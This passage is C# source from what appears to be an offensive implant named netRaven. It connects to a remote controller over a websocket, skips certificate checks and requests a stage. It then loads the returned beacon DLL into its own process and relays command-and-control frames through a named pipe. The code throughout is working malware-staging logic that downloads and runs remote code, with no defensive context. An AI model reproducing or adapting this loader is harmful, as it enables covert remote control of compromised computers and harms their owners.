public static void RavenUpgrade()
{
string arch = "";
// Send the stage request
if (IntPtr.Size == 8)
{
arch = "x64";
}
else
{
arch = "x86";
}
byte[] stageReq = Encoding.ASCII.GetBytes(agentID + ":" + arch + ":" + configuration.pipeName + ":" + configuration.block.ToString());
#if DEBUG
Console.WriteLine("Sending stage request to server");
#endif
string encData = Convert.ToBase64String(stageReq);
RavenMessage newMsg = new RavenMessage();
newMsg.msgType = (int)MsgType.stage;
newMsg.length = encData.Length;
newMsg.data = encData;
// Serialize the class into json
string jsonString = ser.Serialize(newMsg);
// Send to the contoller
socket.Send(jsonString);
}
private static void on_receive(object sender, MessageReceivedEventArgs e)
{
// Process every message received
// Serialize the string into a RavenMessage object
RavenMessage msg = ser.Deserialize <RavenMessage>(e.Message);
MsgType t = (MsgType)msg.msgType;
switch (t)
{
case MsgType.stage:
byte[] payload = Convert.FromBase64String(msg.data);
if (payload.Length > 1)
{
//Trim the frame header
payload = new List <byte>(payload).GetRange(4, payload.Length - 4).ToArray();
#if DEBUG
File.WriteAllBytes("C:\\Windows\\Tasks\\smb_beacon.dll", payload);
Console.WriteLine("Beacon payload written to: C:\\Windows\\Tasks\\smb_beacon.dll");
#endif
Loader ldr = new Loader(payload);
Thread beaconThread = new Thread(() =>
{
ldr.LoadInCurrentProcess();
});
beaconThread.Start();
ConnectToBeacon();
dataAvailable = true;
}
break;
case MsgType.beacon:
byte[] frame = Convert.FromBase64String(msg.data);
writeFrame(client, frame);
dataAvailable = true;
break;
case MsgType.task:
break;
case MsgType.key:
break;
default:
break;
}
}
// Method to start netRaven
public static void Run(string throwaway)
{
#if DEBUG
Console.WriteLine("Obtained raven configuration from the embedded resource");
#endif
// Establish a connection to the websocket server
socket = new WebSocket(configuration.server);
// Setup the event handlers
socket.Opened += new EventHandler(on_open);
socket.Error += new EventHandler <SuperSocket.ClientEngine.ErrorEventArgs>(on_error);
socket.Closed += new EventHandler(on_closed);
socket.MessageReceived += new EventHandler <MessageReceivedEventArgs>(on_receive);
socket.AllowUnstrustedCertificate = true;
socket.Open();
while (socket.State == WebSocketState.Connecting && socket.State != WebSocketState.Open)
{
Thread.Sleep(1000);
}
// If auto is true, send a stage request
if (configuration.auto)
{
RavenUpgrade();
}
//Thread.Sleep(30000);
while (socket.State == WebSocketState.Open)
{
// If beacon is active, connected, and there is data available to read.
if (bacon && client.IsConnected && dataAvailable)
{
byte[] buf = new byte[max_buffer_size];
int read = readFrame(client, ref buf);
dataAvailable = false;
if (read < 0)
{
bacon = false;
continue;
}
byte[] frame = new byte[4 + read];
byte[] size = BitConverter.GetBytes(read);
Buffer.BlockCopy(size, 0, frame, 0, size.Length);
Buffer.BlockCopy(buf, 0, frame, size.Length, read);
RavenMessage newMsg = new RavenMessage();
newMsg.msgType = (int)MsgType.beacon;
newMsg.length = frame.Length;
newMsg.data = Convert.ToBase64String(frame);
string jsonMsg = ser.Serialize(newMsg);
socket.Send(jsonMsg);
}
Thread.Sleep(1000);
}
// Clean up and exit
client.Close();
client.Dispose();
Environment.Exit(0);
}